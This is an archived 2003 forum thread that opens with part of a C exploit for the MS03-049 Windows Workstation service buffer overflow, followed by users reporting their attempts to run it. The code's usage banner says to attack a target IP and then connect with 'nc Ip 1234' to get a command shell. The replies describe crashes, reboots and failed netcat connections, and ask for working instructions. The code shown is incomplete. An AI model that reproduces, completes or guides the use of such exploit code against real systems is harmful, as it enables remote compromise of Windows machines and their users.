typedef //NET_API_STATUS NET_API_FUNCTION (*MYPROC)( IN LPCWSTR Server OPTIONAL, IN LPCWSTR AlternateName, IN LPCWSTR DomainAccount OPTIONAL, IN LPCWSTR DomainAccountPassword OPTIONAL, IN ULONG Reserved );
int main(int argc,char ** argv) { int ret=0; HINSTANCE hInstance; MYPROC procAddress=NULL; unsigned char szBuffer[SIZE]; NETRESOURCE netResource; int i=0,j; unsigned char temp;
char host[30]; LPSTR hostipc[40]; LPWSTR hostl[60]; if(argc<2) { printf("Windows Workstation ms03-049 wkssvc.dll buffer overflow \n \ bug discoveried by eEye,code by Hanabishi,shellcode by oc.192 \n \ Modified by sbaa(sbaa@163.net) 2003/11/16 ver 0.2\n \ Usage: \n \ On 2k : \n \ %s IP --> attack 2k without ntfs\n \ On xp : \n \ %s IP 2k --> attack 2k without ntfs\n \ %s IP --> attack xp \n \ Next open another window : nc Ip 1234 --> Get cmd shell @.@\n",argv[0],argv[0],argv[0]); printf(""); return 0; } sprintf(host,"\\\\%s",argv[1]); sprintf((char *)hostipc,"%s\\ipc$",host);
yeah, just wondering exactly what this exploit is supposed to do, i tested it on my home pc, it says 1745 and that's it. Is it supposed to launch a shell? Am I supposed to connect through netcat on 1745? Thanks for your time.
tribalgoa
Nov 16 2003, 03:06 AM
i'm having about the same ... getting '50' when i run it locally
wicked
Nov 16 2003, 03:42 AM
This seems to be the Problem .... there ain't no Instructions with the code...
Good Programming Practice usually Contains Basic Instructions on how to use the Product Else who would even know what this does... if the Name Wasn't present??
Sorry mate , not trying to take the Micky out of anybody .. but I have come accross heaps of this kinda code.. Hell even posted some myself... with no instructions.....Perhaps we could compile the source and test it and write a few lines of Code Describing at the the Basic Features on how to use the Program..
Wkd.
.../
Toilal
Nov 16 2003, 04:00 AM
Anyone got a box ? What return code should we have if buffer overflow success ?
DJVASTVASTY2K
Nov 16 2003, 06:01 AM
printf("Windows Workstation ms03-049 wkssvc.dll buffer overflow \n \ bug discoveried by eEye,code by Hanabishi,shellcode by oc.192 \n \ Modified by sbaa(sbaa@163.net) 2003/11/16 ver 0.2\n \
Was Discovered By A Big IT Org
eEye Security
they are the ones who made the tool "Retina"
Best Regards
Adam
Vast Gsm Team
Da Sick Crew
nitrofuran
Nov 16 2003, 09:57 AM
QUOTE
Next open another window : nc Ip 1234 --> Get cmd shell @.@\n",argv[0],argv[0],argv[0]);
isn't this information enough?
gordan wells
Nov 16 2003, 10:56 AM
didnt work for me I tried it on local pc, try to connect with netcat, nothing: connection refused
flohand
Nov 16 2003, 12:07 PM
I test It , on a W2kSp1 , it reeboot the machine (like Mblast), but no shell ( Sry for my poor English )
derquakecommander
Nov 16 2003, 12:32 PM
i have tested it on local Windows XP no SP and it crash my pc so that i have to push the reset button but i can't test if there is a shell or something else
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.